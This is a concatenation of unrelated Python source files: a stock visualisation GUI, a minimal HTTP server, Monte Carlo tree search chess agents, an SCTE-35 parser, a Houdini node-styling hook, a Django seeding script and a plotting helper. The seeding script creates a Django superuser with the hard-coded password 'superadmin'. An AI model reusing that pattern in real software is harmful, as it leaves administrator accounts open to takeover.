xiamian.pack(anchor=tk.W)\n\n xiamian_0 = tk.Frame(xiamian)\n xiamian_0.grid(column=0,row=0,sticky=tk.W)\n Fstock = tk.Frame(xiamian_0)\n Fstock.pack(anchor=tk.W)\n tk.Label(Fstock, text=\"stock\",width=10).grid(column=0, row=0, sticky=tk.W)\n self.Estock = tk.Entry(Fstock, width=10)\n self.Estock.grid(column=1, row=0, sticky=tk.W)\n self.Estock.delete(0, tk.END)\n self.Estock.insert(0, self.config_dic[\"stock\"])\n self.Edate_up, self.Bprev_up, self.Bnex_up =self._entry_pre_next_control(Fstock, \"date(up)\", self.config_dic[\"date_up\"],2)\n self.Edate_down, self.Bprev_down, self.Bnex_down =self._entry_pre_next_control(Fstock, \"date(down)\", self.config_dic[\"date_down\"], 4)\n\n\n l_mask_op = [\"keep\",\"less_than\", \"greater_than\"]\n l_set_y_scale=[\"preset min/max\", \"iamge min/max\"]\n l_mask_title=[\"mask(lv up)\",\"mask(sv up)\",\"mask(lv down)\",\"mask(sv down)\"]\n l_scale_title=[\"scale(lv up)\",\"scale(sv up)\",\"scale(lv down)\",\"scale(sv down)\"]\n start_row=1\n self.l_DC=[{} for _ in range(4)]\n for idx in range(4):\n self._control_summary(xiamian, self.l_DC[idx], l_mask_op, l_mask_title[idx], l_set_y_scale, l_scale_title[idx],\n col=start_row+idx)\n\n xiamian_5 = tk.Frame(xiamian)\n xiamian_5.grid(column=5, row=0,sticky=tk.W)\n self.BAOI = tk.Button(xiamian_5, text=\"show_AIO\",width=10)\n self.BAOI.grid(column=0, row=0, sticky=tk.W)\n\n self.BOD = tk.Button(xiamian_5, text=\"show one day\",width=10)\n self.BOD.grid(column=0, row=1, sticky=tk.W)\n\n self.BDiff = tk.Button(xiamian_5, text=\"show Diff\",width=10)\n self.BDiff.grid(column=0, row=2, sticky=tk.W)\n\n self.BAOI.bind(\"\", func=self.frame_AIO_update)\n self.BOD.bind(\"\", func=self.frame_OD_update)\n self.BDiff.bind(\"\", func=self.frame_diff_update)\n\n self.Bprev_up.bind(\"\", func=self.up_pre_date)\n self.Bnex_up.bind(\"\", func=self.up_nex_date)\n self.Bprev_down.bind(\"\", func=self.down_pre_date)\n self.Bnex_down.bind(\"\", func=self.down_nex_date)\n\n def _get_all_input(self):\n self.config_dic.clear()\n\n self.config_dic[\"stock\"]=self.Estock.get()\n self.config_dic[\"date_up\"] = str(self.Edate_up.get())\n self.config_dic[\"date_down\"] = str(self.Edate_down.get())\n self.config_dic[\"l_mask_choice\"] =[]\n self.config_dic[\"l_threadhold\"] = []\n self.config_dic[\"l_scale_choice\"] = []\n for idx in range(4):\n self.config_dic[\"l_mask_choice\"].append(self.l_DC[idx][\"mask_choice\"].get())\n self.config_dic[\"l_threadhold\"].append(float(self.l_DC[idx][\"threadhold\"].get()))\n self.config_dic[\"l_scale_choice\"].append(self.l_DC[idx][\"scale_choice\"].get())\n\n def _control_summary(self, frame, DC, mask_op_content,mask_op_title, scale_content, scale_title, col ):\n show_frame = tk.Frame(frame)\n show_frame.grid(column=col, row=0,sticky=tk.W)\n DC[\"mask_choice\"],DC[\"threadhold\"]=self._mask_control(show_frame,mask_op_content, 0, 0,mask_op_title)\n DC[\"scale_choice\"],_= self._mask_control(show_frame,scale_content, 0, None,scale_title)\n\n def _entry_pre_next_control(self, frame, label, value, start_row):\n tk.Label(frame, text=label,width=10).grid(column=0, row=start_row, sticky=tk.W)\n Edate = tk.Entry(frame, width=10)\n Edate.grid(column=1, row=start_row, sticky=tk.W)\n Edate.delete(0, tk.END)\n Edate.insert(0, value)\n Bprev = tk.Button(frame, text=\"<<\",width=5)\n Bprev.grid(column=0, row=start_row+1, sticky=tk.E)\n Bnext = tk.Button(frame, text=\">>\",width=5)\n Bnext.grid(column=1, row=start_row+1, sticky=tk.W)\n return Edate,Bprev,Bnext\n\n def _mask_control(self, frame, l_choice, choice_value, threadhold_value, label):\n Fsvmask = tk.Frame(frame)\n Fsvmask.pack(anchor=tk.W)\n tk.Label(Fsvmask,text=label, justify=tk.LEFT).grid(column=0, row=0, sticky=tk.W,padx=20)\n mask_choice = tk.IntVar()\n mask_choice.set(choice_value) # initializing the choice, i.e. Python\n for val, mask_op in enumerate(l_choice):\n tk.Radiobutton(Fsvmask, text=mask_op, variable=mask_choice,value=val,padx=20).grid(column=0, row=1+val,\n sticky=tk.W)\n if not (threadhold_value is None):\n Emask = tk.Entry(Fsvmask, width=10)\n Emask.grid(column=0, row=5, sticky=tk.W, padx=40)\n Emask.delete(0, tk.END)\n Emask.insert(0, threadhold_value)\n else:\n Emask = None\n return mask_choice,Emask\n\n def frame_AIO_update(self, Event):\n self._get_all_input()\n self.ins.show_all_in_one(self.fig, self.config_dic)\n self.canvas.draw()\n\n def frame_OD_update(self, Event):\n self._get_all_input()\n self.ins.show_one_day(self.fig, self.config_dic)\n self.canvas.draw()\n\n def frame_diff_update(self, Event):\n self._get_all_input()\n self.ins.show_diff(self.fig, self.config_dic)\n self.canvas.draw()\n\n def up_pre_date(self, event):\n self._pre_date(self.Edate_up)\n def up_nex_date(self, event):\n self._next_date(self.Edate_up)\n def down_pre_date(self, event):\n self._pre_date(self.Edate_down)\n def down_nex_date(self, event):\n self._next_date(self.Edate_down)\n def _pre_date(self, entry):\n current_date=entry.get()\n found_idx=np.where(self.td == current_date)\n if len(found_idx[0])==1:\n idx=found_idx[0][0]\n if idx>0:\n idx-=1\n entry.delete(0, tk.END)\n entry.insert(0, self.td[idx])\n\n def _next_date(self, entry):\n current_date = entry.get()\n found_idx = np.where(self.td == current_date)\n if len(found_idx[0]) == 1:\n idx = found_idx[0][0]\n if idx < len(self.td)-1:\n idx += 1\n entry.delete(0, tk.END)\n entry.insert(0, self.td[idx])\n\nclass visual_state_data:\n #data_name=\"T5\"\n def __init__(self,data_name,stock, date_s, fun_R_T5=\"R_T5\"): #fun_R_T5 in [\"R_T5\",\"R_T5_scale\",\"R_T5_balance\"]\n self.data_name=data_name\n self.stock=stock\n self.date_s = date_s\n self.fun_R_T5=fun_R_T5\n #self.ins = R_T5(self.data_name, self.stock)\n self.ins = globals()[fun_R_T5](self.data_name, self.stock)\n\n def _get_data(self, stock, date_s):\n if stock!=self.stock:\n self.stock=stock\n #self.ins = R_T5(self.data_name, self.stock)\n self.ins = globals()[self.fun_R_T5](self.data_name, self.stock)\n\n state, support_view = self.ins.read_one_day_data(date_s)\n lv, sv = state\n\n return lv, sv, support_view\n\n def _init_axes(self, fig, rows, cols):\n allaxes = fig.get_axes()\n if len(allaxes) != rows*cols*2:\n for axe in allaxes:\n axe.remove()\n for idx in range (rows*cols):\n ax=fig.add_subplot(rows,cols,idx+1)\n divider3 = make_axes_locatable(ax)\n cax3 = divider3.append_axes(\"right\", size=\"5%\", pad=0.05)\n allaxes = fig.get_axes()\n return allaxes\n\n def _clear_setting_ax_cax(self, ax, cax):\n # ax.grid('on', linestyle='--')\n ax.clear()\n cax.clear()\n\n ax.grid('off')\n ## ax.set_adjustable('box-forced')\n ax.spines['right'].set_color('none')\n ax.spines['left'].set_color('none')\n ax.spines['top'].set_color('none')\n ax.spines['bottom'].set_color('none')\n # turn off ticks\n #ax.xaxis.set_ticks_position('none')\n #ax.yaxis.set_ticks_position('none')\n #l_shape=list(image_shape)\n #print l_shape\n #ax.set_xlim([0, l_shape[1]])\n #ax.set_ylim([0, l_shape[0]])\n #ax.set_xticklabels(range(l_shape[1]))\n #ax.set_yticklabels(range(l_shape[0]))\n ax.set_xticklabels([])\n ax.set_yticklabels([])\n\n return ax, cax\n\n def mask_array(self, npao,op, threadhold=0):\n npa=npao.copy()\n if op==1:#\"less_than\":\n npa_idx=npa>=threadhold\n npa[npa_idx]=threadhold\n elif op==2:#\"greater_than\":\n npa_idx=npa<=threadhold\n npa[npa_idx]=threadhold\n else:\n assert op==0 #\"keep\"\n assert threadhold==0\n return npa\n\n def show_one_day_data_with_axes(self,fig,l_axes,inputs, config, part):\n #allaxes = fig.get_axes()\n lv,sv,support_view=inputs\n lv_mask_op=config[\"l_mask_choice\"][2*part]\n lv_mask_threadhold=config[\"l_threadhold\"][2*part]\n lv_scale_op=config[\"l_scale_choice\"][2*part]\n sv_mask_op=config[\"l_mask_choice\"][2*part+1]\n sv_mask_threadhold=config[\"l_threadhold\"][2*part+1]\n sv_scale_op=config[\"l_scale_choice\"][2*part+1]\n\n sub_title=self._generate_sub_title(support_view)\n for idx in range(2):\n if idx==0:\n image_shape=(20,17)\n ax, cax = l_axes[idx*2], l_axes[idx*2+1]\n self._clear_setting_ax_cax(ax, cax)\n\n ax.set_title(\"{0}_lv_{1}_{2}\".format(sub_title,lv_mask_op, lv_mask_threadhold), fontdict={\"fontsize\": 10}, pad=2)\n if lv_scale_op==0:\n im = ax.imshow(self.mask_array(lv,lv_mask_op, lv_mask_threadhold).reshape(image_shape), aspect='auto',vmin=-4, vmax=4)\n else:\n assert lv_scale_op == 1\n im = ax.imshow(self.mask_array(lv, lv_mask_op, lv_mask_threadhold).reshape(image_shape),aspect='auto')\n ax.set_xticks(range(17))\n ax.set_xticklabels([str(idx+1) for idx in range(17)])\n ax.set_yticks(range(20))\n ax.set_yticklabels([str(idx+1) for idx in range(20)])\n cax.tick_params(labelsize=8)\n cbar = fig.colorbar(im, cax=cax, format='%.0e')\n\n else:\n assert idx==1\n image_shape = (20,50)\n ax, cax = l_axes[idx * 2], l_axes[idx * 2 + 1]\n self._clear_setting_ax_cax(ax, cax)\n ax.set_title(\"sv_{0}_{1}\".format(sv_mask_op, sv_mask_threadhold), fontdict={\"fontsize\": 10}, pad=2)\n if sv_scale_op==0:\n im = ax.imshow(self.mask_array(sv,sv_mask_op, sv_mask_threadhold).reshape(image_shape), aspect='auto',vmin=-4, vmax=4)\n else:\n assert sv_scale_op==1\n im = ax.imshow(self.mask_array(sv, sv_mask_op, sv_mask_threadhold).reshape(image_shape),aspect='auto')\n ax.set_xticks(range(50))\n ax.set_xticklabels([str(idx+1) for idx in range(50)])\n ax.set_yticks(range(20))\n ax.set_yticklabels([str(idx+1) for idx in range(20)])\n\n cax.tick_params(labelsize=8)\n cbar = fig.colorbar(im, cax=cax, format='%.0e')\n\n def show_two_day_diff_with_axes(self,fig,l_axes, first_day_inputs, sencond_day_input):\n ulv, usv, usupport_view=first_day_inputs\n dlv, dsv, dsupport_view=sencond_day_input\n for idx in range(2):\n if idx==0:\n image_shape=(20,17)\n ax, cax = l_axes[idx*2], l_axes[idx*2+1]\n self._clear_setting_ax_cax(ax, cax)\n sub_title = self._generate_sub_title(usupport_view)\n ax.set_title(\"{0}_lvdiff\".format(sub_title), fontdict={\"fontsize\": 10}, pad=2)\n im = ax.imshow(self.mask_array(ulv-dlv, 0, 0).reshape(image_shape),aspect='auto')\n cax.tick_params(labelsize=8)\n cbar = fig.colorbar(im, cax=cax, format='%.0e')\n ax.set_xticks(range(17))\n ax.set_xticklabels([str(idx+1) for idx in range(17)])\n ax.set_yticks(range(20))\n ax.set_yticklabels([str(idx+1) for idx in range(20)])\n\n else:\n assert idx==1\n image_shape = (20,50)\n ax, cax = l_axes[idx * 2], l_axes[idx * 2 + 1]\n self._clear_setting_ax_cax(ax, cax)\n sub_title = self._generate_sub_title(dsupport_view)\n ax.set_title(\"{0}_svdiff\".format(sub_title),fontdict={\"fontsize\": 10}, pad=2)\n im = ax.imshow(self.mask_array(usv-dsv, 0, 0).reshape(image_shape),aspect='auto')\n cax.tick_params(labelsize=8)\n cbar = fig.colorbar(im, cax=cax, format='%.0e')\n ax.set_xticks(range(50))\n ax.set_xticklabels([str(idx+1) for idx in range(50)])\n ax.set_yticks(range(20))\n ax.set_yticklabels([str(idx+1) for idx in range(20)])\n\n\n def _generate_sub_title(self,support_view ):\n def adjust_key_name(origin_title):\n l_remove_prefix = [\"this_trade_day_\", \"stock_\"]\n for remove_prefix in l_remove_prefix:\n if remove_prefix in origin_title:\n return origin_title[len(remove_prefix):]\n return origin_title\n l_key = support_view.keys()\n l_key.remove(\"stock\")\n l_key.remove(\"date\")\n l_key.remove(\"last_day_flag\")\n title = \"{0} {1}\".format(support_view[\"stock\"], support_view[\"date\"])\n for key in l_key:\n if type(support_view[key]) is float:\n title = \"{0} {1}:{2:.2f}\".format(title, adjust_key_name(key), support_view[key])\n else:\n title = \"{0} {1}:{2}\".format(title, adjust_key_name(key), support_view[key])\n return title\n\n def show_all_in_one(self,fig, config_dic):\n stock=config_dic[\"stock\"]\n udate = config_dic[\"date_up\"]\n ddate = config_dic[\"date_down\"]\n ulv, usv, usupport_view=self._get_data(stock, udate)\n dlv, dsv, dsupport_view = self._get_data(stock, ddate)\n allaxes = self._init_axes(fig, 3, 2)\n fig.subplots_adjust(bottom=0.05, top=0.98, left=0.02, right=0.97, wspace=0.1, hspace=0.2)\n self.show_one_day_data_with_axes(fig,allaxes[0:4],[ulv, usv, usupport_view], config_dic, part=0)\n self.show_one_day_data_with_axes(fig,allaxes[4:8],[dlv, dsv, dsupport_view], config_dic, part=1)\n self.show_two_day_diff_with_axes(fig,allaxes[8:12],[ulv, usv, usupport_view],[dlv, dsv, dsupport_view])\n\n def show_one_day(self,fig, config_dic):\n stock=config_dic[\"stock\"]\n udate = config_dic[\"date_up\"]\n ulv, usv, usupport_view=self._get_data(stock, udate)\n allaxes=self._init_axes(fig, 1, 2)\n fig.subplots_adjust(bottom=0.1, top=0.9, left=0.1, right=0.9, wspace=0.1, hspace=0.1)\n self.show_one_day_data_with_axes(fig,allaxes,[ulv, usv, usupport_view], config_dic, part=0)\n\n def show_diff(self,fig, config_dic):\n stock=config_dic[\"stock\"]\n udate = config_dic[\"date_up\"]\n ddate = config_dic[\"date_down\"]\n ulv, usv, usupport_view=self._get_data(stock, udate)\n dlv, dsv, dsupport_view = self._get_data(stock, ddate)\n allaxes = self._init_axes(fig, 1, 2)\n fig.subplots_adjust(bottom=0.1, top=0.9, left=0.1, right=0.9, wspace=0.1, hspace=0.1)\n self.show_two_day_diff_with_axes(fig,allaxes,[ulv, usv, usupport_view],[dlv, dsv, dsupport_view])\n\n\n'''\nIn [58]: x = np.array([1,3,-1, 5, 7, -1]) \nIn [59]: mask = (x < 0) \nIn [60]: mask \nOut[60]: array([False, False, True, False, False, True], dtype=bool) \nWe can see from the preceding example that by applying the < logic sign that we applied scalars to a NumPy Array and the naming of a new array to mask, it's still vectorized and returns the True/False boolean with the same shape of the variable x indicated which element in x meet the criteria:\n\nCopy\nIn [61]: x [mask] = 0 \nIn [62]: x \nOut[62]: array([1, 3, 0, 5, 7, 0]) \nUsing the mask, we gain the ability to access or replace any element value in our...\n\n\n\nimport matplotlib.pyplot as plt\nimport imp\nimport visual_state\nfig = plt.figure()\nimp.reload(visual_state)\ni=visual_state.visual_state_data(\"SH600177\", \"20170731\")\ni.show_state(fig, {\"stock\":\"SH600177\",\"date\":\"20170731\",\"lv_mask_op\":\"keep\",\"lv_mask_threadhold\":0, \"sv_mask_op\":\"keep\",\"sv_mask_threadhold\":0})\n'''\n\n","sub_path":"vstate.py","file_name":"vstate.py","file_ext":"py","file_size_in_byte":18247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"447567982","text":"import http.server\nimport socketserver\n\nPORT = 5331\n\n\nclass handler(http.server.SimpleHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.end_headers()\n\n\nwith socketserver.TCPServer((\"\", PORT), handler) as httpd:\n print(\"serving at port\", PORT)\n httpd.serve_forever()\n","sub_path":"crypto/ransomware_part_1/src/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"287348405","text":"import chess\nimport Global\nimport random as rnd\nimport math\n\nclass Node:\n def __init__(self, board, parent):\n self.parent = parent;\n self.children = {};\n self.totValue = 0;\n self.nVisits = 0;\n self.board = board;\n self.moves = [];\n for mv in board.legal_moves:\n self.moves.append(mv);\n self.children[mv] = None;\n\n def expand(self):\n for mv in self.moves:\n if self.children[mv] == None:\n tempBoard = chess.Board(self.board.fen())\n tempBoard.push(mv)\n return self.expandMove(tempBoard, mv)\n return self\n\n def expandMove(self, board, move):\n newNode = Node(board, self)\n self.children[move] = newNode\n return newNode\n\n def select(self, depressed, agentTurn):\n bestMv = self.moves[0]\n bestValue = self.children[bestMv].getUCBValue(depressed, agentTurn) + Global.TINY_NUM * rnd.random()\n for mv in self.children:\n child = self.children[mv]\n currentValue = child.getUCBValue(depressed, agentTurn) + Global.TINY_NUM * rnd.random()\n if bestValue < currentValue:\n bestMv = mv;\n bestValue = currentValue\n\n # if self.parent == None:\n # print(\"#############################\")\n # print(\"Agent Turn: \" + str(agentTurn) + \" Depressed: \" + str(depressed) + \" CurrentTurn: \" + str(self.board.turn))\n # print(\"Visits:\")\n # print([str(mv) + \": \" + str(self.children[mv].nVisits) for mv in self.children])\n # print(\"TotalValue:\")\n # print([str(mv) + \": \" + str(self.children[mv].totValue) for mv in self.children])\n # print(\"UCB:\")\n # print([str(mv) + \": \" + str(round(self.children[mv].getUCBValue(depressed, agentTurn), 3)) for mv in self.children])\n # print(\"Best Move: \" + str(bestMv));\n return self.children[bestMv];\n\n def isFullyExpanded(self):\n for mv in self.children:\n if self.children[mv] == None:\n return False\n return True\n\n def getUCBValue(self, depressed, agentTurn):\n condition = (not depressed) & (not (agentTurn ^ self.parent.board.turn))\n # print(\"AgentTurn: \" + str(agentTurn) + \" Current Turn: \" + str(self.parent.board.turn) + \" Depressed: \" + str(depressed) + \" Results: \" + str(condition))\n if condition:\n return self.totValue / (self.nVisits + Global.TINY_NUM) + Global.CONSTANT * math.sqrt(self.parent.nVisits/(self.nVisits + Global.TINY_NUM))\n else:\n return -self.totValue / (self.nVisits + Global.TINY_NUM) + Global.CONSTANT * math.sqrt(self.parent.nVisits/(self.nVisits + Global.TINY_NUM))\n\n def backpropagate(self, value):\n currentNode = self\n while not (currentNode == None):\n currentNode.nVisits += 1;\n currentNode.totValue += value;\n currentNode = currentNode.parent\n\n def rollout(self):\n board = chess.Board(self.board.fen())\n for i in range(0, Global.ROLLOUT):\n if board.is_game_over():\n break\n moves = list(board.legal_moves)\n board.push(moves[rnd.randint(0,len(moves)-1)])\n return board\n\nclass MCTS:\n def __init__(self, depressed, iterationalFlip):\n self.root = None\n self.depressed = depressed\n self.iterationalFlip = iterationalFlip\n\n def treePolicy(self):\n currentNode = self.root;\n while not currentNode.board.is_game_over():\n if not currentNode.isFullyExpanded():\n currentNode = currentNode.expand()\n break\n currentNode = currentNode.select(self.depressed, self.root.board.turn)\n return currentNode;\n\n def getMostVisited(self):\n mostVisited = self.root.moves[0]\n for mv in self.root.children:\n if self.root.children[mv].nVisits > self.root.children[mostVisited].nVisits:\n mostVisited = mv\n elif self.root.children[mv].nVisits == self.root.children[mostVisited].nVisits and rnd.random() > 0.5:\n mostVisited = mv\n if Global.VERBOSE:\n print([str(mv) + \": \" + str(self.root.children[mv].nVisits) for mv in self.root.children])\n print([str(mv) + \": \" + str(self.root.children[mv].totValue) for mv in self.root.children])\n return mostVisited\n\n def getLeastVisited(self):\n leastVisited = self.root.moves[0]\n for mv in self.root.children:\n if self.root.children[mv].nVisits < self.root.children[leastVisited].nVisits:\n leastVisited = mv\n elif self.root.children[mv].nVisits == self.root.children[leastVisited].nVisits and rnd.random() > 0.5:\n leastVisited = mv\n\n if Global.VERBOSE:\n print([str(mv) + \": \" + str(self.root.children[mv].nVisits) for mv in self.root.children])\n print([str(mv) + \": \" + str(self.root.children[mv].totValue) for mv in self.root.children])\n return leastVisited\n\n def getHighestValue(self):\n highValue = self.root.moves[0]\n for mv in self.root.children:\n if self.root.children[mv].totValue > self.root.children[highValue].totValue:\n highValue = mv\n elif self.root.children[mv].totValue == self.root.children[highValue].totValue and rnd.random() > 0.5:\n highValue = mv\n if Global.VERBOSE:\n print([str(mv) + \": \" + str(self.root.children[mv].nVisits) for mv in self.root.children])\n print([str(mv) + \": \" + str(self.root.children[mv].totValue) for mv in self.root.children])\n return highValue\n\n def getHighUCB(self):\n highValue = self.root.moves[0]\n for mv in self.root.children:\n if self.root.children[mv].getUCBValue() > self.root.children[highValue].getUCBValue():\n highValue = mv\n if Global.VERBOSE:\n print([str(mv) + \": \" + str(self.root.children[mv].nVisits) for mv in self.root.children])\n print([str(mv) + \": \" + str(self.root.children[mv].totValue) for mv in self.root.children])\n return highValue\n\n def getAction(self, board):\n self.root = Node(chess.Board(board.fen()), None)\n \n for i in range(0, Global.MAX_ITERS):\n newNode = self.treePolicy()\n tempBoard = newNode.rollout()\n newNode.backpropagate(Global.HEURISTIC(tempBoard, board.turn) - Global.HEURISTIC(board, board.turn))\n if self.iterationalFlip:\n self.depressed = not self.depressed\n\n if Global.BEST_PICK:\n return self.getHighestValue()\n if self.depressed:\n return self.getLeastVisited()\n return self.getMostVisited()\n\nclass NormalMCTS(MCTS):\n def __init__(self):\n MCTS.__init__(self, False, False)\n\nclass DepMCTS(MCTS):\n def __init__(self):\n MCTS.__init__(self, True, False)\n\nclass DepUnDepMCTS(MCTS):\n def __init__(self, percentage):\n MCTS.__init__(self, False, False)\n self.percentage = percentage\n\n def getAction(self, board):\n self.depressed = False\n if(rnd.random() < self.percentage):\n self.depressed = True\n return MCTS.getAction(self, board)\n\nclass SimulatedMCTS(DepUnDepMCTS):\n def __init__(self, rate):\n DepUnDepMCTS.__init__(self, 1)\n self.rate = rate\n\n def getAction(self, board):\n action = DepUnDepMCTS.getAction(self, board)\n self.percentage *= self.rate\n return action\n\nclass FlippingMCTS(MCTS):\n def __init__(self):\n MCTS.__init__(self, True, True)\n\n def getAction(self, board):\n self.depressed = True\n return MCTS.getAction(self, board)\n","sub_path":"ChessDTS/Agents.py","file_name":"Agents.py","file_ext":"py","file_size_in_byte":7814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"276921288","text":"class Splice_Info_Section:\n def __init__(self):\n self.table_id = None\n self.section_syntax_indicator = None\n self.private = None\n self.reserved = None\n self.section_length = None\n self.protocol_version = None\n self.encrypted_packet = None\n self.encryption_algorithm = None\n self.pts_adjustment = None\n self.cw_index = None\n self.tier = None\n self.splice_command_length = None\n self.splice_command_type = None\n self.descriptor_loop_length = False\n self.crc = None\n\n def decode(self, bitbin):\n self.table_id = bitbin.ashex(8)\n self.section_syntax_indicator = bitbin.asflag(1)\n self.private = bitbin.asflag(1)\n self.reserved = bitbin.asint(2)\n if self.reserved != 0x3:\n raise ValueError('splice_info_section.reserved should be 0x3')\n self.section_length = bitbin.asint(12)\n self.protocol_version = bitbin.asint(8)\n self.encrypted_packet = bitbin.asflag(1)\n self.encryption_algorithm = bitbin.asint(6)\n self.pts_adjustment = bitbin.as90k(33)\n self.cw_index = bitbin.ashex(8)\n self.tier = bitbin.ashex(12)\n self.splice_command_length = bitbin.asint(12)\n self.splice_command_type = bitbin.asint(8)\n self.descriptor_loop_length = False\n","sub_path":"threefive/splice_info_section.py","file_name":"splice_info_section.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"331379938","text":"\"\"\"This module contains an event to style nodes based on events.\"\"\"\n\n# =============================================================================\n# IMPORTS\n# =============================================================================\n\n# Houdini Toolbox Imports\nfrom ht.events.group import HoudiniEventGroup\nfrom ht.events import NodeEvents\n\nfrom ht.nodes.styles.manager import StyleManager\n\n# =============================================================================\n# CLASSES\n# =============================================================================\n\n\nclass StyleNodeEvent(HoudiniEventGroup):\n \"\"\"Event to style Houdini nodes based on events.\"\"\"\n\n def __init__(self):\n super(StyleNodeEvent, self).__init__()\n\n self.event_map.update(\n {\n NodeEvents.OnCreated: (self.styleNodeOnCreation,),\n NodeEvents.OnNameChanged: (self.styleNodeByName,),\n }\n )\n\n # =========================================================================\n # METHODS\n # =========================================================================\n\n def styleNodeByName(self, scriptargs):\n \"\"\"Style a node based on a name.\"\"\"\n node = scriptargs[\"node\"]\n\n manager = StyleManager.from_session()\n manager.styleNodeByName(node)\n\n def styleNodeOnCreation(self, scriptargs):\n \"\"\"Style a node on creation.\"\"\"\n node = scriptargs[\"node\"]\n\n manager = StyleManager.from_session()\n manager.styleNode(node)\n\n","sub_path":"python/ht/nodes/styles/event.py","file_name":"event.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"393832345","text":"import os\nimport csv\nfrom datetime import datetime\n\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"advertima_backend.settings\")\nimport django\ndjango.setup()\nfrom django.contrib.auth.models import User\nfrom django.conf import settings\n\nfrom dashboard.models import *\n\n\nPROJECT_ROOT = os.path.dirname(os.path.realpath(__file__))\n\n\nclass Generator:\n def create_admin(self):\n admin, _ = User.objects.get_or_create(username='admin')\n admin.is_staff = True\n admin.is_superuser = True\n admin.set_password('superadmin')\n admin.save()\n\n def upload_events(self):\n content_id_col = 0\n device_id_col = 1\n event_type_col = 2\n event_time_col = 3\n file_path = os.path.join(PROJECT_ROOT, 'init_data', 'events.csv')\n t1 = datetime.now()\n devices = {}\n contents = {}\n device_content_dict = {}\n device_content_list = []\n with open(file_path, newline='') as csvfile:\n reader = csv.reader(csvfile, delimiter=',')\n for row in reader:\n device_id = int(row[device_id_col])\n device = devices.get(device_id)\n if not device:\n device = Device.objects.create(device_id=device_id)\n devices[device_id] = device\n\n content_id = int(row[content_id_col])\n content = contents.get(content_id)\n if not content:\n content = Content.objects.create(\n content_id=content_id)\n contents[content_id] = content\n\n event_time = datetime.strptime(\n row[event_time_col], settings.TIME_FORMAT)\n event_type = row[event_type_col]\n key = '%s_%s' % (device_id, content_id)\n if event_type == 'start':\n device_content_dict[key] = DeviceContent(\n device=device, content=content,\n start_time=event_time\n )\n # DeviceContent.objects.create(\n # device=device_obj, content=content_obj, start_time=event_time)\n else:\n device_content = device_content_dict[key]\n device_content.end_time = event_time\n device_content_list.append(device_content)\n # DeviceContent.objects.filter(\n # device=device_obj, content=content_obj, end_time__isnull=True\n # ).update(end_time=event_time)\n DeviceContent.objects.bulk_create(device_content_list)\n t2 = datetime.now()\n delta = (t2 - t1).total_seconds()\n print('Upload events took \"%s\" minutes' % (delta / 60.0))\n\n def upload_persons(self):\n device_id_col = 0\n appears_col = 1\n disappears_col = 2\n age_col = 3\n gender_col = 4\n file_path = os.path.join(PROJECT_ROOT, 'init_data', 'persons.csv')\n t1 = datetime.now()\n devices = {}\n with open(file_path, newline='') as csvfile:\n reader = csv.reader(csvfile, delimiter=',')\n persons = []\n for row in reader:\n device_id = int(row[device_id_col])\n device = devices.get(device_id)\n if not device:\n device, _ = Device.objects.get_or_create(device_id=device_id)\n devices[device_id] = device\n\n age = int(row[age_col])\n appear = datetime.strptime(\n row[appears_col], settings.TIME_FORMAT)\n disappear = datetime.strptime(\n row[disappears_col], settings.TIME_FORMAT)\n gender = row[gender_col]\n persons.append(\n Person(\n age=age, gender=gender, appear=appear,\n disappear=disappear, device=device\n )\n )\n Person.objects.bulk_create(persons)\n t2 = datetime.now()\n delta = (t2 - t1).total_seconds()\n print('Upload persons took \"%s\" minutes' % (delta/60.0))\n\n def start(self):\n # Initialize basic data\n self.create_admin()\n self.upload_events()\n self.upload_persons()\n\nif __name__ == '__main__':\n generator = Generator()\n generator.start()\n","sub_path":"init_database.py","file_name":"init_database.py","file_ext":"py","file_size_in_byte":4397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"344036581","text":"import matplotlib\nmatplotlib.use('Agg')\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n\n\n#Times is the average Time needed\n#Threads is the number of threads\n#Deviation is the standard deviation\n#name is the name of the plot\n#xl stands for xlabel to label the x scale\n#yl stands for ylabel to label the y scale\ndef plotJulius(Times, Threads, Deviations, name, xl, yl):\n plt.cla()\n plt.errorbar(Threads,Times,Deviations, linestyle='None', marker='^')\n plt.title(name)\n plt.xlabel(xl)\n plt.ylabel(yl, rotation = 0)\n plt.savefig(name+'.pdf')\n\n#we need to give the function the number of samples per set\n#numberoffuncs:number of threads input to the cleaning function i.e.15\n\n\n#this functions \"cleans\" the data\n#it taked in the big files with number of threads, the times, the standard step size used\n#and the number of different functions one wants to plot\n#it outputs a cleaned version, hence three arrays of size numoffunc\n#the first is the numbering of threads, the second one with the averaged times for each threat step\n#and the third one for the standarddeviations for each timestep\ndef cleaning(Threads, Times, stepsize, numoffunc):\n size = len(Threads)\n\n #get the number of different threads sizes used\n modifiedTimes = np.empty(numoffunc)\n modifiedDeviations = np.empty(numoffunc)\n modifiedThreads = np.arange(numoffunc) \n i = 0\n \n while(i < numoffunc):\n modifiedTimes[i] = np.average(Times[(i*stepsize):((i*stepsize)+stepsize)])\n modifiedDeviations[i] = np.std(Times[(i*stepsize):((i*stepsize)+stepsize)])\n i += 1 \n\n return modifiedThreads, modifiedTimes, modifiedDeviations\n\n#you still need to add a adding a function name\n#you still need to be able the number of samples made\n#you need to be able to add the name of the data set we use\n#stepsize as input variable\n\ndef main():\n location = input(\"The location of the file\")\n\n Index, Threads, Time, BestFitnessValue = np.loadtxt(\n #\"results.dat\", delimiter = ' ', unpack = True)\n location, delimiter = ' ', unpack = True)\n\n stepsize = input(\"Number of runs for every thread\") #input_a = int(input_a) \n stepsize = int(stepsize)\n nameoffunc = input(\"What is the name of the function\") \n\n #number of runs for every thread\n #stepsize = 10\n\n #number for how many different types of threads are used\n #should be calculated with numberofthreads = len(Threads)//stepsize \n #numberofthreads = 15\n numberofthreads = len(Threads)/stepsize\n # function that cleans the data 